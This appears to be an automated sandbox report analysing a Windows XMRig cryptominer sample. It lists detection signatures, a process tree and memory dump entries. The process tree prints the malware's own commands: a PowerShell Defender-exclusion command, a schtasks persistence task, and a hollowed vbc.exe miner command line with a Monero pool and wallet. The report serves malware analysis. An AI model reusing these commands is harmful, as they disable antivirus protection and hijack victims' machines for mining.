Analysis
- max time kernel
94s - max time network
152s - platform
windows10-2004_x64 - resource
win10v2004-20220812-en - resource tags
- submitted
25/12/2022, 06:35
General
- Target file.exe
- Size 961KB
- Sample221225-hcbvwsbb86
- SHA256 dc31911b8ed395f23a66b2ad993a08a758c2f5ea651f54b388150d2016d97026
Malware Config
Signatures
- xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
- XMRig Miner payload 6 IoCs
- Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
- Uses the VBS compiler for execution 1 TTPs
- Suspicious use of SetThreadContext 1 IoCs
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
- Creates scheduled task(s) 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
- Suspicious behavior: EnumeratesProcesses 3 IoCs
- Suspicious behavior: LoadsDriver 1 IoCs
- Suspicious use of AdjustPrivilegeToken 4 IoCs
- Suspicious use of FindShellTrayWindow 1 IoCs
- Suspicious use of WriteProcessMemory 20 IoCs
Processes
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C:\Users\Admin\AppData\Local\Temp\file.exe"C:\Users\Admin\AppData\Local\Temp\file.exe"1⤵
- Checks computer location settings
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell" -Command Add-MpPreference -ExclusionPath 'C:\ProgramData'2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc MINUTE /mo 5 /RL HIGHEST /tn "HMHM" /tr "C:\ProgramData\edge\HMHM.exe"2⤵
- Suspicious use of WriteProcessMemory
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C:\Windows\system32\schtasks.exeschtasks /create /f /sc MINUTE /mo 5 /RL HIGHEST /tn "HMHM" /tr "C:\ProgramData\edge\HMHM.exe"3⤵
- Creates scheduled task(s)
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C:\Windows\Microsoft.NET\Framework64\v4.0.30319\vbc.exeC:\Windows\Microsoft.NET\Framework64\v4.0.30319\vbc.exe -o xmr-eu1.nanopool.org:14433 -u 4BrL51JCc9NGQ71kWhnYoDRffsDZy7m1HUU7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQoBJqYKAGMEQrLE8L8 --tls --coin monero2⤵
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
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Network
MITRE ATT&CK Enterprise v6
Replay Monitor
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Downloads
memory/484-164-0x000001A159FA0000-0x000001A159FC0000-memory.dmp
memory/484-162-0x0000000140000000-0x00000001407C9000-memory.dmp
memory/484-170-0x000001A15B8E0000-0x000001A15B900000-memory.dmp
memory/484-169-0x000001A15B900000-0x000001A15B920000-memory.dmp
memory/484-168-0x000001A15B8E0000-0x000001A15B900000-memory.dmp
memory/484-167-0x000001A15B8A0000-0x000001A15B8E0000-memory.dmp
memory/484-166-0x0000000140000000-0x00000001407C9000-memory.dmp
memory/484-165-0x0000000140000000-0x00000001407C9000-memory.dmp
memory/484-171-0x000001A15B900000-0x000001A15B920000-memory.dmp
memory/484-163-0x0000000140000000-0x00000001407C9000-memory.dmp
memory/484-160-0x0000000140000000-0x00000001407C9000-memory.dmp
memory/1336-148-0x000001DF5C520000-0x000001DF5C542000-memory.dmp
memory/1336-149-0x00007FF8B3D60000-0x00007FF8B4821000-memory.dmp
memory/1336-150-0x00007FF8B3D60000-0x00007FF8B4821000-memory.dmp
memory/3828-142-0x0000000000B30000-0x0000000000C86000-memory.dmp
memory/3828-144-0x00007FF8B4BB0000-0x00007FF8B4CFE000-memory.dmp
memory/3828-153-0x00007FF8B3D60000-0x00007FF8B4821000-memory.dmp
memory/3828-151-0x0000000000B30000-0x0000000000C86000-memory.dmp
memory/3828-147-0x00007FF8B3D60000-0x00007FF8B4821000-memory.dmp
memory/3828-156-0x00007FF8AFCB0000-0x00007FF8AFCE5000-memory.dmp
memory/3828-157-0x00007FF8AFCF0000-0x00007FF8AFDF2000-memory.dmp
memory/3828-158-0x00007FF8D0F50000-0x00007FF8D0FBB000-memory.dmp
memory/3828-159-0x00007FF8CEBC0000-0x00007FF8CEBFB000-memory.dmp
memory/3828-145-0x00007FF8D00F0000-0x00007FF8D0117000-memory.dmp
memory/3828-143-0x0000000000B30000-0x0000000000C86000-memory.dmp
memory/3828-152-0x0000000000AD0000-0x0000000000B11000-memory.dmp
memory/3828-133-0x00007FF8B4DC0000-0x00007FF8B4E6A000-memory.dmp
memory/3828-141-0x00007FF8D0C20000-0x00007FF8D0C4B000-memory.dmp
memory/3828-138-0x00007FF8B3D60000-0x00007FF8B4821000-memory.dmp
memory/3828-140-0x0000000000AD0000-0x0000000000B11000-memory.dmp
memory/3828-139-0x0000000000B30000-0x0000000000C86000-memory.dmp
memory/3828-137-0x00007FF8D0CE0000-0x00007FF8D0E81000-memory.dmp
memory/3828-136-0x00007FF8B4D00000-0x00007FF8B4DBD000-memory.dmp
memory/3828-135-0x00007FF8CD710000-0x00007FF8CD722000-memory.dmp
memory/3828-134-0x00007FF8D0E90000-0x00007FF8D0F2E000-memory.dmp